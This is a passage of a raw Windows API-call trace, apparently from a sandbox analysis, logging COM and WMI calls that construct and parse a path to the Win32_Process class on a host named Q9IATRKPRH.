pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0068.032] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0068.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119c3e0) returned 0x0 [0068.032] WbemDefPath:IUnknown:AddRef (This=0x119c3e0) returned 0x3 [0068.032] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x2 [0068.032] WbemDefPath:IWbemPath:SetText (This=0x119c3e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0068.032] IWbemClassObject:Get (in: This=0x1bf46f70, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0068.032] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0068.033] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0068.033] IWbemClassObject:Get (in: This=0x1bf46f70, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0068.033] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0068.033] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0068.033] IWbemClassObject:Get (in: This=0x1bf46f70, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0068.033] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0068.034] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0068.034] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0068.034] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0068.034] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0068.034] IUnknown:Release (This=0x111f638) returned 0x1 [0068.036] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f77b0) returned 0x0 [0068.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f77b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0068.036] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f77b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119c320) returned 0x0 [0068.037] WbemDefPath:IUnknown:Release (This=0x11f77b0) returned 0x0 [0068.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119c320) returned 0x0 [0068.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0068.037] WbemDefPath:IUnknown:AddRef (This=0x119c320) returned 0x3 [0068.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0068.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0068.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f8430) returned 0x0 [0068.037] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8430, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.037] WbemDefPath:IUnknown:Release (This=0x11f8430) returned 0x3 [0068.037] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0068.038] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0068.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0068.038] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x2 [0068.038] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x1 [0068.038] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0068.038] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0068.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119c320) returned 0x0 [0068.038] WbemDefPath:IUnknown:AddRef (This=0x119c320) returned 0x3 [0068.038] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x2 [0068.038] WbemDefPath:IWbemPath:SetText (This=0x119c320, uMode=0x4, pszPath="") returned 0x0 [0068.038] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0068.038] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0068.038] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0068.038] IUnknown:Release (This=0x111f638) returned 0x1 [0068.041] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f77b0) returned 0x0 [0068.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f77b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0068.043] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f77b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119c1a0) returned 0x0 [0068.043] WbemDefPath:IUnknown:Release (This=0x11f77b0) returned 0x0 [0068.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119c1a0) returned 0x0 [0068.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0068.044] WbemDefPath:IUnknown:AddRef (This=0x119c1a0) returned 0x3 [0068.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0068.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0068.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f83b0) returned 0x0 [0068.044] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f83b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.044] WbemDefPath:IUnknown:Release (This=0x11f83b0) returned 0x3 [0068.044] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0068.044] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0068.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0068.044] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x2 [0068.044] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x1 [0068.044] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0068.045] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0068.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c1a0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119c1a0) returned 0x0 [0068.045] WbemDefPath:IUnknown:AddRef (This=0x119c1a0) returned 0x3 [0068.045] WbemDefPath:IUnknown:Release (This=0x119c1a0) returned 0x2 [0068.045] WbemDefPath:IWbemPath:SetText (This=0x119c1a0, uMode=0x4, pszPath="") returned 0x0 [0068.045] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c1a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0068.045] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c320, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0068.045] WbemDefPath:IWbemPath:GetClassName (in: This=0x119c1a0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0068.045] WbemDefPath:IWbemPath:GetServer (in: This=0x119c1a0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0068.045] WbemDefPath:IWbemPath:SetServer (This=0x119c1a0, Name="Q9IATRKPRH") returned 0x0 [0068.045] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0068.045] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0068.045] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0068.045] IUnknown:Release (This=0x111f638) returned 0x1 [0068.047] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f7970) returned 0x0 [0068.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f7970, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0068.048] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f7970, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119c0e0) returned 0x0 [0068.048] WbemDefPath:IUnknown:Release (This=0x11f7970) returned 0x0 [0068.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119c0e0) returned 0x0 [0068.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0068.048] WbemDefPath:IUnknown:AddRef (This=0x119c0e0) returned 0x3 [0068.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0068.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0068.048] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf2b680) returned 0x0 [0068.048] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b680, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.048] WbemDefPath:IUnknown:Release (This=0x1bf2b680) returned 0x3 [0068.049] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0068.049] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0068.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0068.049] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x2 [0068.049] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x1 [0068.049] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0068.049] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0068.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c0e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119c0e0) returned 0x0 [0068.049] WbemDefPath:IUnknown:AddRef (This=0x119c0e0) returned 0x3 [0068.049] WbemDefPath:IUnknown:Release (This=0x119c0e0) returned 0x2 [0068.049] WbemDefPath:IWbemPath:SetText (This=0x119c0e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0068.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c1a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0068.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c0e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0068.049] WbemDefPath:IWbemPath:GetText (in: This=0x119c0e0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0068.049] WbemDefPath:IWbemPath:GetText (in: This=0x119c0e0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0068.049] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119c1a0) returned 0x0 [0068.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c0e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0068.049] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119c0e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0068.049] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119c0e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0068.050] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119c1a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119c0e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119c0e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0068.050] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119c1a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetClassName (in: This=0x119c1a0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0068.050] WbemDefPath:IWbemPath:SetClassName (This=0x119c1a0, Name="Win32_Process") returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetInfo (in: This=0x119c1a0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c1a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetInfo (in: This=0x119c1a0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c1a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetText (in: This=0x119c1a0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0068.050] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: 